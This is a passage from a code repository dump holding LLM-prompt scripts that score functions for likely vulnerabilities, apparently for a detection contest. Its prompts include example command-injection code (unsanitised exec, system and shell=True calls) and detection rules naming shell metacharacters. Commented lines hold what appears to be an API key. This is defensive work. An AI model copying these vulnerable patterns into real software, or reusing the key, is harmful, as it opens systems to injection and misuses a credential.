ResponseSchema(name=\"functions\", description=\"a list of function names with their respective confidence levels\"),\r\n    ResponseSchema(name=\"summary\", description=\"the summary of your judging reason\")\r\n\r\n]\r\nmemory=None\r\n\r\nlength_limit=14000\r\n\r\ndef check_output_regex(output):\r\n    pattern = r\"maximum context length is 8000 tokens\"\r\n    if re.search(pattern, output):\r\n        return 1\r\n    else:\r\n        return 0\r\n\r\ndef llm_api_step2(prompt_code, key_env, base_env):\r\n    global memory\r\n    global length_limit\r\n    if len(prompt_code)>length_limit:\r\n        prompt_code = prompt_code[:length_limit]\r\n    llm = ChatOpenAI(\r\n        streaming=True,\r\n        verbose=True,\r\n        # key和base开赛后提供\r\n        openai_api_key=key_env,\r\n        openai_api_base=base_env,\r\n        model_name='tq-gpt',\r\n        timeout=30\r\n    )\r\n    # create HumanMessagePromptTemplate\r\n    HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptStep2)\r\n    SystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt)\r\n    # conbine Prompt\r\n    chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt])\r\n\r\n    output_parser = StructuredOutputParser.from_response_schemas(response_schemas_step2)\r\n    if memory==None:\r\n        memory = ConversationSummaryMemory(llm=llm)\r\n    format_instructions = output_parser.get_format_instructions()\r\n    #prompt = split_prompt(prompt, 6000)\r\n    \r\n    chain=LLMChain(llm=llm, prompt=chat_template, memory=memory)\r\n    try:\r\n        output = chain.run(code_context=prompt_code)\r\n        #print(output)\r\n        json_out=output_parser.parse(output)\r\n        # AI may regard a content to be None not NULL\r\n        # Change later\r\n        for i in range(10):\r\n            if json_out[\"functions\"]:\r\n                break\r\n            output = chain.run(code_context=prompt_code)\r\n            #print(output)\r\n            json_out=output_parser.parse(output)\r\n        return json_out\r\n    except Exception as e:\r\n        print(f\"Request timed out. {e}\")\r\n        if check_output_regex(str(e)) == 1:\r\n            length_limit = length_limit - 2000\r\n        return None\r\n    \r\ndef check_bof(prompt_code, key_env, base_env):\r\n    global length_limit\r\n    global memory\r\n    memory= None\r\n    length_limit = 14000\r\n    sample=examples\r\n    json_out=llm_api_step2(\"###Examples###\"+sample, key_env, base_env)\r\n    for i in range(50):\r\n        if json_out is not None:\r\n            break\r\n        json_out=llm_api_step2(\"###Examples###\"+sample, key_env, base_env)\r\n    json_out=llm_api_step2(\"###New Content###\"+prompt_code, key_env, base_env)\r\n    for i in range(50):\r\n        if json_out is not None:\r\n            break\r\n        json_out=llm_api_step2(\"###New Content###\"+prompt_code, key_env, base_env)\r\n    return json_out\r\n"
  },
  {
    "path": "task2_source_code/final_version/bypass.py",
    "content": "#!/usr/local/bin/python3\r\nfrom langchain_openai import ChatOpenAI\r\nfrom langchain_core.messages import HumanMessage, SystemMessage\r\nfrom langchain.prompts import PromptTemplate,ChatPromptTemplate\r\nfrom langchain.chains import LLMChain, SimpleSequentialChain\r\n\r\nfrom langchain.prompts import (\r\n    ChatPromptTemplate,\r\n    PromptTemplate,\r\n    SystemMessagePromptTemplate,\r\n    AIMessagePromptTemplate,\r\n    HumanMessagePromptTemplate\r\n)\r\nfrom langchain.output_parsers import StructuredOutputParser, ResponseSchema\r\nfrom langchain.schema import (\r\n    AIMessage,\r\n    HumanMessage,\r\n    SystemMessage\r\n)\r\nimport re\r\nSystemPrompt = PromptTemplate(\r\n    template=\"You are a cybersecurity engineer, and your task is to analyze the provided code snippet and the potential vulnerability types to identify the function in the given code where the vulnerability is most likely to occur.\",\r\n)\r\n\r\n\r\nHumanPromptStep2 = PromptTemplate(\r\n    template=\"\"\"\r\n\t\t    User question: Please analyze all functions in the code snippet I provided to determine whether they have potential authentication bypass vulnerabilities, and output the names of all functions and their total confidence (including functions with a total confidence of 0).\r\n\r\n            <context> {code_context} </context>\r\n            Answer the user's question using the information in <context>.\r\n\r\n            Output format: {format_instructions}\r\n            an example of output is:curly_brace\"functions\": [curly_brace \"name\": \"daemonCheck\",\"confidence\": 10 end_curly_brace,curly_brace \"name\": \"daemonControl\",\"confidence\": 30 end_curly_brace] end_curly_brace\r\n\r\n            Analysis criteria: \r\n            1. Weak or missing authentication checks (20 points): Add 20 points if a function performs privileged operations or grants access without validating user credentials or session tokens. This includes cases where authentication logic is incomplete or entirely missing.\r\n            2. Improper verification logic (20 points): Add 20 points for flawed logic in authentication processes, such as incorrect password/token validation, acceptance of partial/empty credentials, or overly permissive access control.\r\n            3. Session management issues (20 points): Add 20 points if session handling lacks proper checks, including missing token validation, use of predictable or insecure session identifiers, or failure to invalidate sessions when appropriate (e.g., on logout).\r\n            4. Backdoors or insecure fallback mechanisms (40 points): Add 40 points if the function contains mechanisms that bypass authentication, such as hardcoded credentials, debug modes, or any form of unrestricted access intended for testing or maintenance.\r\n\r\n            [Attention!]:\r\n            1. Total confidence of each function is the sum of points from the above criteria.\r\n            2. Ensure that all functions in the code snippet are analyzed and included in the output.\r\n            3. Pay particular attention to indirect influences, such as unchecked authentication states being passed to other functions.\r\n            4. The output must be valid JSON.\r\n            5. Ensure only one function has the highest confidence score, and avoid giving identical scores to all functions.(In particular, do not output all 0s or all highest scores).\r\n            \r\n            Key Notes for AI:\r\n            1. Focus on identifying risks specifically related to authentication bypass, not general issues.\r\n            2. Use clear, concise language to explain the scoring and avoid unnecessary verbosity.\r\n            3. Provide detailed reasoning for any function scoring zero, ensuring the logic is thorough and traceable.\r\n        \"\"\",\r\n    input_variables=[\"code_context\"]\r\n)\r\n\r\nresponse_schemas_step2 = [\r\n    ResponseSchema(name=\"functions\", description=\"a list of function names with their respective confidence levels\")\r\n\r\n]\r\nlength_limit=14000\r\n\r\ndef check_output_regex(output):\r\n    pattern = r\"maximum context length is 8000 tokens\"\r\n    if re.search(pattern, output):\r\n        return 1\r\n    else:\r\n        return 0\r\n    \r\ndef llm_api_step2(prompt_code, key_env, base_env):\r\n    global length_limit\r\n    if len(prompt_code)>length_limit:\r\n        prompt_code = prompt_code[:length_limit]\r\n    llm = ChatOpenAI(\r\n        streaming=True,\r\n        verbose=True,\r\n        # key和base开赛后提供\r\n        openai_api_key=key_env,\r\n        openai_api_base=base_env,\r\n        model_name='tq-gpt',\r\n        timeout=300\r\n    )\r\n    # create HumanMessagePromptTemplate\r\n    HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptStep2)\r\n    SystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt)\r\n    # conbine Prompt\r\n    chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt])\r\n\r\n    output_parser = StructuredOutputParser.from_response_schemas(response_schemas_step2)\r\n\r\n    format_instructions = output_parser.get_format_instructions()\r\n    #prompt = split_prompt(prompt, 6000)\r\n\r\n    chain=LLMChain(llm=llm, prompt=chat_template)\r\n    try:\r\n        output = chain.run(code_context=prompt_code,format_instructions=format_instructions)\r\n        #print(output)\r\n        json_out=output_parser.parse(output)\r\n        # AI may regard a content to be None not NULL\r\n        # Change later\r\n        for i in range(10):\r\n            if json_out[\"functions\"]:\r\n                break\r\n            output = chain.run(code_context=prompt_code,format_instructions=format_instructions)\r\n            #print(output)\r\n            json_out=output_parser.parse(output)\r\n        return json_out\r\n    except Exception as e:\r\n        print(f\"Request timed out. {e}\")\r\n        if check_output_regex(str(e)) == 1:\r\n            length_limit = length_limit - 2000\r\n        return None\r\n    \r\ndef check_bypass(prompt_code, key_env, base_env):\r\n    global length_limit\r\n    length_limit = 14000\r\n    json_out=llm_api_step2(prompt_code, key_env, base_env)\r\n    for i in range(50):\r\n        if json_out is not None:\r\n            break\r\n        json_out=llm_api_step2(prompt_code, key_env, base_env)\r\n    return json_out\r\n\r\n# check by yourself\r\n#filepath='a'\r\n#with open(file_path, encoding='utf-8') as file:\r\n#    file_content = file.read()\r\n#json_out=check_arbitrary(file_content, \"8bb73128d0b5732a1e0723f922245df8\", 'https://poc.qianxin.com')\r\n"
  },
  {
    "path": "task2_source_code/final_version/command_memory.py",
    "content": "#!/usr/local/bin/python3\r\nfrom langchain_openai import ChatOpenAI\r\nfrom langchain_core.messages import HumanMessage, SystemMessage\r\nfrom langchain.prompts import PromptTemplate,ChatPromptTemplate\r\nfrom langchain.chains import LLMChain, SimpleSequentialChain\r\n\r\nfrom langchain.prompts import (\r\n    ChatPromptTemplate,\r\n    PromptTemplate,\r\n    SystemMessagePromptTemplate,\r\n    AIMessagePromptTemplate,\r\n    HumanMessagePromptTemplate\r\n)\r\nfrom langchain.output_parsers import StructuredOutputParser, ResponseSchema\r\nfrom langchain.schema import (\r\n    AIMessage,\r\n    HumanMessage,\r\n    SystemMessage\r\n)\r\nimport re\r\nfrom langchain.memory import ConversationSummaryMemory \r\n\r\nSystemPrompt = PromptTemplate(\r\n    template=\"You are a cybersecurity engineer, and your task is to analyze the provided code snippet and the potential vulnerability types to identify the function in the given code where the vulnerability is most likely to occur.\",\r\n)\r\n\r\n\r\nHumanPromptStep2 = PromptTemplate(\r\n    template=\"\"\" \r\n                User question: We will first provide several examples starting with ###Examples###, each of which contains a command injection vulnerability, and you need to summarize why they are considered vulnerable.\r\n                The Chinese explanations and function names in the examples are very important, and do not miss any information when summarizing.\r\n                Our previous conversation history will be saved in {history}.\r\n                Finally, if we give you some content starting with the symbol ###New Content###, we are giving you several new functions that may contain similar command injection vulnerabilities.\r\n                In this case, you should analyze each function independently and output the most vulnerable function. You should first repeat the previous historical information verbatim, and then use confidence (0-100) to measure the vulnerability of each function. Only one function should have the highest confidence.\r\n                If the new content mentioned a function who have exactly the same name with one example function,that example function should have the highest confidence, and confidence of all other functions should be 0.\r\n                If all functions in ###New Content### do not have vulnerabilities, their confidence should be 0.\r\n\r\n                The content to be used is in <content>, which is either an example (just a summary) or new content (need to output the confidence and previous history of each function), and will not contain both types\r\n\r\n                <context>\r\n\r\n                {code_context}\r\n\r\n                </context>\r\n\r\n                Output format: a legal json file, such as {{\"functions\": [{{\"name\": \"checkLoginUser\",\"confidence\": 0}},{{\"name\": \"aaa\",\"confidence\": 10}}],\"summary\":\"contains strcpy\"}} and some additional information, such as previous history.\r\n            \"\"\",\r\n    input_variables=[\"code_context\"]\r\n)\r\n\"\"\"\r\n\tUser question:Please analyze the provided specific code of a series of functions to determine if any of these functions contain potential Command injection vulnerabilities ,Your analysis must consider:\r\n\tUser Input Flow: Analyze how user input flows into command execution functions like system(). Look for cases where input affects the commands being executed.\r\n\tSanitization: Check if user input is validated for malicious patterns like ;, &&, ||, |, $(), backticks, or other special characters.\r\n\tLet's analyze each function step by step based on the code I provide. We will consider each function independently and, based on the analysis criteria I give, assign a confidence score (confidence score:s 1~10) to each function:\r\n        1.Determine the Use of Command Execution Functions like system(), exec(), popen(), Runtime.exec(), ProcessBuilder, etc. If such functions are present, add 10 points to the confidence level.\r\n        2.Unvalidated User Input: if user input directly influences command execution without validation, add 20 points to the confidence level.\r\n        3.Consider Permission operations: if giving function exists any operation on Permission like $permission, which may influnecethe the command injection function Input, add 20 points to the confidence level.\r\n        4.Use of Shell Metacharacters: Direct concatenation allows inclusion of shell metacharacters in inputs, add 20 points to the confidence level.\r\n        5.If the function contains strings related to RCE such as \"smb\" or \"/bin/sh\", add 30 extra points to the confidence score. \r\n\t\r\n        <context>\r\n        {code_context}\r\n        </context>\r\n        answer user's question with the information in <context>\r\n        output format: {format_instructions}\r\n        an example of output is:curly_brace\"functions\": [curly_brace \"name\": \"daemonCheck\",\"confidence\": 10 end_curly_brace,curly_brace \"name\": \"daemonControl\",\"confidence\": 30 end_curly_brace] end_curly_brace\r\n\"\"\"\r\n\r\nexamples=\"\"\"\r\nExample 1: 在 daemonControl()中存在命令注入:\r\npublic function daemonControl($daemon_name, $command) {\r\n    global $user;\r\n    if ($command == 'check' || $command == 'status') {\r\n      $permission = 'View';\r\n    } else {\r\n      $permission = 'Edit';\r\n    }\r\n    $allowed = (!$user) || ($user['System'] == $permission );\r\n    if ( !$allowed ) {\r\n      throw new UnauthorizedException(__(\"Insufficient privileges\"));\r\n      return;\r\n    }\r\n    $string = ZM_PATH_BIN.\"/zmdc.pl $command $daemon_name\";\r\n    $result = exec($string); # 这里缺乏验证\r\n    $this->set(array(\r\n      'result' => $result,\r\n      '_serialize' => array('result')\r\n    ));\r\n}\r\n\r\nExample 2: 这是CVE-2020-16846中的一个命令注入漏洞, 出现的脚本位于salt/salt/client/ssh/shell.py:\r\ndef gen_key(path):\r\n    '''\r\n    Generate a key for use with salt-ssh\r\n    '''\r\n    cmd = 'ssh-keygen -P \"\" -f {0} -t rsa -q'.format(path)\r\n    if not os.path.isdir(os.path.dirname(path)):\r\n        os.makedirs(os.path.dirname(path))\r\n    subprocess.call(cmd, shell=True)\r\n1. `subprocess.call(cmd, shell=True)` 允许攻击者通过 `path` 参数注入恶意命令。\r\n2. 通过构造特殊的 `path` 值来执行任意命令。\r\n\r\nExample 3: 在sub_40749C函数中:\r\nChildNodeByName = ATP_XML_GetChildNodeByName(*(_DWORD *)(a1 + 44), \"NewDownloadURL\", 0, &v4);\r\nif ( !ChildNodeByName )\r\n{\r\n  if ( v4 )\r\n  {\r\n    ChildNodeByName = ATP_XML_GetChildNodeByName(*(_DWORD *)(a1 + 44), \"NewStatusURL\", 0, &v5);\r\n    if ( !ChildNodeByName )\r\n    {\r\n      if ( v5 )\r\n      {\r\n        snprintf(v6, 1024, \"upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b\", v4);\r\n        system(v6);\r\n      }\r\n这一段函数会将 v4 中的代码拼到 v6 中并执行 system 函数，存在命令注入。\r\n\r\nExample 4: sub_442260中的apt_get接受了来自sub_441CF0中apt_set存储的数据, 并将其拼接进命令执行语句中：\r\nif ( apmib_get(7026, v37) )\r\n    {\r\n      snprintf(v40, 6, \"ping  \");\r\n      v3 = strlen(v37);\r\n      strncat(v40, v37, v3);\r\n    ....\r\n    system(v40);\r\n\r\nExample 5: ConstDef对象的constDefine成员变量会被传给ConstDefManagerImpl#eval求值, 造成任意代码执行:\r\nprivate Object eval(String scriptText, Map<String, Object> context) throws ScriptException {\r\n        Object o = this.cache.get(scriptText);\r\n        CompiledScriptRunner runner = null;\r\n        if (o != null) {\r\n            runner = (CompiledScriptRunner)o;\r\n        } else {\r\n            runner = new CompiledScriptRunner(this.groovyEngine, scriptText);\r\n            this.cache.put(scriptText, runner);\r\n        }\r\n\r\n        long start = System.currentTimeMillis();\r\n        Object result = runner.eval(context);\r\n        long l = System.currentTimeMillis() - start;\r\n\r\n        return result;\r\n    }\r\n\r\nExample 6: 在sub_46C59C函数中:\r\nsscanf(local_c,\"%[^;];%s\",local_68,local_a8);\r\n    if ((local_68[0] == '\\0') || (local_a8[0] == '\\0')) {\r\n      printf(\"[%s():%d] luaFile or configFile len error.\\n\",\"tddp_cmd_configSet\",0x22b);\r\n    }\r\n    else {\r\n      local_18 = inet_ntoa((in_addr)*(in_addr_t *)(param_1 + 4));\r\n      FUN_000091dc(\"cd /tmp;tftp -gr %s %s &\",local_68,local_18);\r\n\r\n  vsprintf((char *)apcStack_11c,param_1,&uStack_c);\r\n  printf(\"[%s():%d] cmd: %s \\r\\n\",\"tddp_execCmd\",0x48,apcStack_11c);\r\n  local_1c = fork();\r\n  if (-1 < local_1c) {\r\n    if (local_1c == 0) {\r\n      local_130[0] = (char **)&DAT_00016f48;\r\n      local_130[1] = (char **)&DAT_00016f4c;\r\n      local_130[2] = apcStack_11c;\r\n      local_130[3] = (char **)0x0;\r\n      execve(\"/bin/sh\",(char **)local_130,(char **)0x0);\r\n                    /* WARNING: Subroutine does not return */\r\n      exit(0x7f);\r\n    }\r\nsscanf函数将传进来的TDDP包数据区按照分离符;分为两个字符串，其中利用“正则表达式”过滤;之后字符串拼接到了cd /tmp;tftp -gr的后面, 最后在函数FUN_000091dc有个命令执行处。\r\n  \r\nExample 7:在FUN_0041af68函数中:\r\n  int iVar1;\r\n  char *pcVar2;\r\n  undefined4 uVar3;\r\n  int local_48;\r\n  char acStack_3c [52];\r\n  \r\n  iVar1 = FUN_00410e4c();\r\n  if (iVar1 == 0) {\r\n    uVar3 = uci_safe_get(\"usbapps.config.smb_admin_name\");\r\n    _system(\"deluser %s\",uVar3);\r\n    for (local_48 = 0; local_48 < 0x19; local_48 = local_48 + 1) {\r\n      sprintf(acStack_3c,\"usbapps.@smb[%d].username\",local_48);\r\n      iVar1 = uci_safe_get(acStack_3c);\r\n      if (iVar1 == 0) break;\r\n      _system(\"smbpasswd -x %s\",iVar1);\r\nuci_safe_get为用户可控输入, 传入到_system函数处造成命令执行。\r\n\"\"\"\r\n\r\nresponse_schemas_step2 = [\r\n    ResponseSchema(name=\"functions\", description=\"a list of function names with their respective confidence levels\"),\r\n    ResponseSchema(name=\"summary\", description=\"the summary of your judging reason\")\r\n]\r\nmemory=None\r\n\r\nlength_limit=14000\r\n\r\ndef check_output_regex(output):\r\n    pattern = r\"maximum context length is 8000 tokens\"\r\n    if re.search(pattern, output):\r\n        return 1\r\n    else:\r\n        return 0\r\n    \r\ndef llm_api_step2(prompt_code, key_env, base_env):\r\n    global memory\r\n    global length_limit\r\n    if len(prompt_code)>length_limit:\r\n        prompt_code = prompt_code[:length_limit]\r\n    llm = ChatOpenAI(\r\n        streaming=True,\r\n        verbose=True,\r\n        # key和base开赛后提供\r\n        openai_api_key=key_env,\r\n        openai_api_base=base_env,\r\n        model_name='tq-gpt',\r\n        timeout=300\r\n    )\r\n    # create HumanMessagePromptTemplate\r\n    if memory==None:\r\n        memory = ConversationSummaryMemory(llm=llm)\r\n    # create HumanMessagePromptTemplate\r\n    HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptStep2)\r\n    SystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt)\r\n    # conbine Prompt\r\n    chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt])\r\n\r\n    output_parser = StructuredOutputParser.from_response_schemas(response_schemas_step2)\r\n\r\n    format_instructions = output_parser.get_format_instructions()\r\n    #prompt = split_prompt(prompt, 6000)\r\n\r\n    chain=LLMChain(llm=llm, prompt=chat_template, memory=memory)\r\n    try:\r\n        output = chain.run(code_context=prompt_code)\r\n        #print(output)\r\n        json_out=output_parser.parse(output)\r\n        # AI may regard a content to be None not NULL\r\n        # Change later\r\n        for i in range(10):\r\n            if json_out[\"functions\"] or json_out[\"functions\"]==[]:\r\n                break\r\n            output = chain.run(code_context=prompt_code)\r\n            #print(output)\r\n            json_out=output_parser.parse(output)\r\n        return json_out\r\n    except Exception as e:\r\n        print(f\"Request timed out. {e}\")\r\n        if check_output_regex(str(e)) == 1:\r\n            length_limit = length_limit - 2000\r\n        return None\r\n    \r\ndef check_command(prompt_code, key_env, base_env):\r\n    global length_limit\r\n    global memory\r\n    memory = None\r\n    length_limit = 14000\r\n    sample=examples\r\n    json_out=llm_api_step2(\"###Examples###\"+sample, key_env, base_env)\r\n    for i in range(50):\r\n        if json_out is not None:\r\n            break\r\n        json_out=llm_api_step2(\"###Examples###\"+sample, key_env, base_env)\r\n    json_out=llm_api_step2(\"###New Content###\"+prompt_code, key_env, base_env)\r\n    for i in range(50):\r\n        if json_out is not None:\r\n            break\r\n        json_out=llm_api_step2(\"###New Content###\"+prompt_code, key_env, base_env)\r\n    return json_out\r\n\r\n# check by yourself\r\n#filepath='a'\r\n#with open(file_path, encoding='utf-8') as file:\r\n#    file_content = file.read()\r\n#json_out=check_arbitrary(file_content, \"8bb73128d0b5732a1e0723f922245df8\", 'https://poc.qianxin.com')\r\n"
  },
  {
    "path": "task2_source_code/final_version/int_overflow.py",
    "content": "#!/usr/local/bin/python3\r\nfrom langchain_openai import ChatOpenAI\r\nfrom langchain_core.messages import HumanMessage, SystemMessage\r\nfrom langchain.prompts import PromptTemplate,ChatPromptTemplate\r\nfrom langchain.chains import LLMChain, SimpleSequentialChain\r\n\r\nfrom langchain.prompts import (\r\n    ChatPromptTemplate,\r\n    PromptTemplate,\r\n    SystemMessagePromptTemplate,\r\n    AIMessagePromptTemplate,\r\n    HumanMessagePromptTemplate\r\n)\r\nfrom langchain.output_parsers import StructuredOutputParser, ResponseSchema\r\nfrom langchain.schema import (\r\n    AIMessage,\r\n    HumanMessage,\r\n    SystemMessage\r\n)\r\nimport re\r\nSystemPrompt = PromptTemplate(\r\n    template=\"You are a cybersecurity engineer, and your task is to analyze the provided code snippet and the potential vulnerability types to identify the function in the given code where the vulnerability is most likely to occur.\",\r\n)\r\n\r\n\r\nHumanPromptStep2 = PromptTemplate(\r\n    template=\"\"\"\r\n\t\t    User question: Please analyze all functions in the code snippet I provided to determine whether they have potential integer overflow vulnerabilities, and output the names of all functions and their total confidence (including functions with a total confidence of 0).\r\n\r\n            <context> {code_context} </context>\r\n            Answer the user's question using the information in <context>.\r\n\r\n            Output format: {format_instructions}\r\n\r\n            Analysis criteria:\r\n            1. Input-controlled integers (10 points): Add 10 points if integers influenced directly or indirectly by user input or external data are used in operations or logic without proper validation (e.g., checking range, format, or type).\r\n            2. Lack of bounds checking (10 points): Add 10 points if integers influenced by user input or external data are used in contexts like array indexing, loop boundaries, or conditions without verifying their validity, potentially causing out-of-bounds access or incorrect execution.\r\n            3. Unsafe arithmetic (20 points): Add 20 points for arithmetic operations (e.g., addition, subtraction, multiplication) or type conversions involving user-controlled integers that may lead to overflow, truncation, or unexpected results.\r\n            4. Memory or buffer allocation issues (40 points): Add 40 points if integers influenced by user input or external data are used for memory allocation, buffer manipulation, or size calculations without sufficient validation, creating risks like memory corruption or denial of service.\r\n\r\n            [!!!Attention!!!]:\r\n            1. The total confidence for each function is the cumulative score of all criteria.\r\n            2. Analyze every function in the provided code snippet without omission.\r\n            3. Pay special attention to indirect impacts where user input affects integers through intermediate variables or function calls.\r\n            4. Ensure the output is valid JSON and clearly identifies potential vulnerabilities.\r\n            5. Ensure only one function has the highest confidence score, and avoid giving identical scores to all functions(In particular, do not output all 0s or all highest scores).\r\n            \r\n            Key Notes for AI:\r\n            1. Focus on detecting user-controlled or externally influenced integers that contribute to potential overflow scenarios.\r\n            2. Be concise but thorough in your reasoning for each score, particularly for functions scored 0.\r\n            3. Highlight specific vulnerabilities related to integer misuse rather than generic code issues.\r\n        \"\"\",\r\n    input_variables=[\"code_context\"]\r\n)\r\n\r\nresponse_schemas_step2 = [\r\n    ResponseSchema(name=\"functions\", description=\"a list of function names with their respective confidence levels\")\r\n\r\n]\r\nlength_limit=14000\r\n\r\ndef check_output_regex(output):\r\n    pattern = r\"maximum context length is 8000 tokens\"\r\n    if re.search(pattern, output):\r\n        return 1\r\n    else:\r\n        return 0\r\n    \r\ndef llm_api_step2(prompt_code, key_env, base_env):\r\n    global length_limit\r\n    if len(prompt_code)>length_limit:\r\n        prompt_code = prompt_code[:length_limit]\r\n    llm = ChatOpenAI(\r\n        streaming=True,\r\n        verbose=True,\r\n        # key和base开赛后提供\r\n        openai_api_key=key_env,\r\n        openai_api_base=base_env,\r\n        model_name='tq-gpt',\r\n        timeout=300\r\n    )\r\n    # create HumanMessagePromptTemplate\r\n    HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptStep2)\r\n    SystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt)\r\n    # conbine Prompt\r\n    chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt])\r\n\r\n    output_parser = StructuredOutputParser.from_response_schemas(response_schemas_step2)\r\n\r\n    format_instructions = output_parser.get_format_instructions()\r\n    #prompt = split_prompt(prompt, 6000)\r\n\r\n    chain=LLMChain(llm=llm, prompt=chat_template)\r\n    try:\r\n        output = chain.run(code_context=prompt_code,format_instructions=format_instructions)\r\n        #print(output)\r\n        json_out=output_parser.parse(output)\r\n        # AI may regard a content to be None not NULL\r\n        # Change later\r\n        for i in range(10):\r\n            if json_out[\"functions\"]:\r\n                break\r\n            output = chain.run(code_context=prompt_code,format_instructions=format_instructions)\r\n            #print(output)\r\n            json_out=output_parser.parse(output)\r\n        return json_out\r\n    except Exception as e:\r\n        print(f\"Request timed out. {e}\")\r\n        if check_output_regex(str(e)) == 1:\r\n            length_limit = length_limit - 2000\r\n        return None\r\n    \r\ndef check_int_overflow(prompt_code, key_env, base_env):\r\n    global length_limit\r\n    length_limit = 14000\r\n    json_out=llm_api_step2(prompt_code, key_env, base_env)\r\n    for i in range(50):\r\n        if json_out is not None:\r\n            break\r\n        json_out=llm_api_step2(prompt_code, key_env, base_env)\r\n    return json_out\r\n\r\n# check by yourself\r\n#filepath='a'\r\n#with open(file_path, encoding='utf-8') as file:\r\n#    file_content = file.read()\r\n#json_out=check_arbitrary(file_content, \"8bb73128d0b5732a1e0723f922245df8\", 'https://poc.qianxin.com')\r\n"
  },
  {
    "path": "task2_source_code/final_version/others_memory.py",
    "content": "#!/usr/local/bin/python3\r\nfrom langchain_openai import ChatOpenAI\r\nfrom langchain_core.messages import HumanMessage, SystemMessage\r\nfrom langchain.prompts import PromptTemplate,ChatPromptTemplate\r\nfrom langchain.chains import LLMChain, SimpleSequentialChain\r\n\r\nfrom langchain.prompts import (\r\n    ChatPromptTemplate,\r\n    PromptTemplate,\r\n    SystemMessagePromptTemplate,\r\n    AIMessagePromptTemplate,\r\n    HumanMessagePromptTemplate\r\n)\r\nfrom langchain.output_parsers import StructuredOutputParser, ResponseSchema\r\nfrom langchain.schema import (\r\n    AIMessage,\r\n    HumanMessage,\r\n    SystemMessage\r\n)\r\nfrom langchain.memory import ConversationSummaryMemory \r\nimport re\r\nSystemPrompt = PromptTemplate(\r\n    template=\"You are a cybersecurity engineer, you know both English and Chinese, and you are an expert in static code analysis and can fully understand dataflow and definitions of common used functions in decompiled pseudocode, C, C++, java, python, go, js, and other similar languages.\",\r\n)\r\nHumanPromptStep2 = PromptTemplate(\r\n    template=\"\"\"\r\n\t\tUser question:We will first provide you several examples starting with ###Examples### . Every example in it contains a vulnerability. You need to summary the reason why they are considered vulnerable.\r\n    The Chinese explainations and function names in the examples are very important and do not lose information in it while summarizing.\r\n    The history of our previous conversation will be saved in {history}.\r\n    At last, If we give you some content starting with a symbol ###New Content###, we are giving you several new functions that may contain similar vulnerabilities.\r\n    In that case, you should analyse each function independently and output a most vulnerable function. You should first repeat the previous history information word by word, and then use confidence(0-100) to measure how vulnerable each function is, only one function should have the highest confidence.\r\n    If the new content mentioned a function who have exactly the same name with one example function,that example function should have the highest confidence, and confidence of all other functions should be 0.\r\n    If all functions in ###New Content### are not vulnerable, their confidence should all be 0.\r\n    The content given to use are in <content>, the content is either a example(only need to summary) or a new content(need to output confidence of each function and previous history), it won't contain both types\r\n    <context>\r\n    {code_context}\r\n    </context>\r\n    output format: a legal json file such as {{\"functions\": [{{\"name\": \"checkLoginUser\",\"confidence\": 0}},{{\"name\": \"aaa\",\"confidence\": 10}}],\"summary\":\"contains strcpy\"}} and some additional information such as previous history.\r\n            \"\"\",\r\n    input_variables=[\"code_context\"]\r\n)\r\n\"\"\"\r\n to determine if any function contain the pattern I am interested.\r\n        Let's analyze each function step by step based on the code I provide. We will consider each function independently and, based on the analysis criteria I give, assign a score named \"confidence\"(0-100)(only one function has the top score) to each function.:\r\n        1.We are interested in function that direcly contains the patter I am intersted. For example if funcA calls funcB, funcB calls strcpy, and strcpy is in the list I am interested in, you should return funcB(high confidence). The confidence of both funcA and strcpy should be 0.\r\n        2.Add 50 scores if a function directly contains function calls listed in {high_risk_functions}.\r\n        3.Add 50 scores if a function directly contains some interested calls whose name is partly in {high_risk_functions}. For example, ios::strcpy is also a target because strcpy is in the list, stdin_scanf is also a target because scanf is in the list.\r\n        4.If a function directly contains function calls listed in {low_risk_functions}, and the length parameter of the call(eg:the third parameter of strncpy) is not a const number, add 20 points to it.\r\n        5.If the length parameter of step 2 comes from strlen(source buffer), add 20 points to it.\r\n        For Example: c=strlen(b);strncpy(a,b,c)\r\n        6.If a function directly contains a function call which is not in the above two lists but have similar pattern and have a symbol,(eg:json_load) do not regard it as an item in the above two list, regard it as a new type and add 10 points to it.\r\n        7.If a function directly contains a type change from signed value into unsigned value and than passed the value into function calls listed in {low_risk_functions}, add 5 points to it.\r\n        8.Please make sure that the output json is a legal json file and output your analysis process of each step.            \r\n\r\n        <context>\r\n\r\n\r\n2.Add 90 points if there are some stdin input such as gets or webgetvar(always assume stdin input to be very large) and this input parsed into a buffer without length check.\r\n        3.Add 90 points if there is vulnerable buffer operation without any length check before it, such as the use of strcpy or sscanf without checking the target buffer size.\r\n        4.Add 60 points if there is a high likelihood of a buffer overflow, there are some length checks, but the check may be bypassed and the source buffer can still be bigger than the target buffer.\r\n        5.Add 40 points if there it can not match step 2-4, but there may still be hidden risks.\r\n        6.Minus 30 points if the lengths used in an operation does not exceed the buffer size definition. Check source buffer definition and operation length check carefully.\r\n            For example, in the code char a[20]; strncpy(a, b, 20);, verify whether the length check (20) could cause an overflow based on the buffer size (also 20, won't overflow)\r\n        7.Minus 20 points if the risk come from a function without symbol information.(eg: sub_a(str1,str2) might be a dangerous buffer operation function, but there are no symbol that ensure its vulnerability)\r\n        8.Recheck the length limitations of the buffer overflow dangerous operation, consider dataflow cross functions, assume the length of the target buffer and the max length of the source buffer, minus 40 points(no less than 0) if the check suggest that source buffer won't be longer than target buffer.\r\n        9.Add 50 point if there is a bypass of length limitation.\r\n\"\"\"\r\nexamples=\"\"\"\r\n示例一：在函数sub_63D58中存在sql注入漏洞，通过`sprintf`拼接到token查询语句，执行`sqlite3_exec`实现sql注入\r\n__int64 __fastcall sub_63D58(\r\n        __int64 a1,\r\n        const char *a2,\r\n        int a3,\r\n        _BYTE *a4,\r\n        unsigned int a5,\r\n        unsigned int a6,\r\n        __int64 a7,\r\n        __int64 a8,\r\n        __int64 